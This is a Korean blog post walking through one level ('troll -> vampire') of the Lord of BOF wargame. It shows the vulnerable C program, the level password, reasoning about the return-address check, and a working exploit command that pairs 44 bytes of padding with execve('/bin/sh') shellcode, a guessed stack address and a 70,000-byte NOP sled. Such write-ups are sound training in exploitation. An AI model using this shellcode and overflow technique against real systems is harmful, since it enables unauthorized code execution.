SH1R0_HACKER

9. troll -> vampire 본문

System/The Lord of BOF

9. troll -> vampire

SH1R0_HACKER 2020. 10. 27. 16:20

id : troll

password : aspirin


[ vampire.c ]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

RET값이 다음의 조건을 만족해야한다.

0xbf 가 처음에 무조건 들어가야하고 0xbfff????가 되면 안된다.

 

argv[1]의 길이 제한도 없으니 다음의 방법을 이용해서 공격해보자.

0xbffeffff에 쉘코드를 넣고 RET 주소를 \xff\xff\xfe\xbf 로 해주면 가능할 것 같다.

 

0xbfffffff ~ 0xbffeffff 까지는 약 65,536byte이다.

넉넉하게 70,000byte로 잡아두고 페이로드를 작성하자.

 

RET에 브레이크포인트를 걸어두고 "A"*44 + "BBB\xbf" + "E"*30 + "\x90*70000" 를 날려주었다.

"BBB\xbf" 부분에는 쉘코드 주소가 들어갈꺼고 "E" 에는 쉘코드가 들어갈꺼다.

 

RET주소를 0xbffee970으로 잡고 공격하면 되겠다.

 

./vampire2 `python -c 'print "A"*44+"\x70\xe9\xfe\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*70000'`

 

코어를 분석해보자.

 

RET 주소가 0xbffee97c로 바꼈다.

다시 RET의 값을 0xbffee980으로 주소를 바꿔주자.

 

잘 된다.

이제 원본파일에 적용하여 bash를 실행해보자.

 

'System > The Lord of BOF' 카테고리의 다른 글

11. skeleton -> golem  (0) 2020.10.29
10. vampire -> skeleton  (0) 2020.10.28
8. orge -> troll  (0) 2020.10.26
7. darkelf -> orgc  (0) 2020.10.24
6. wolfman -> darkelf  (0) 2020.10.24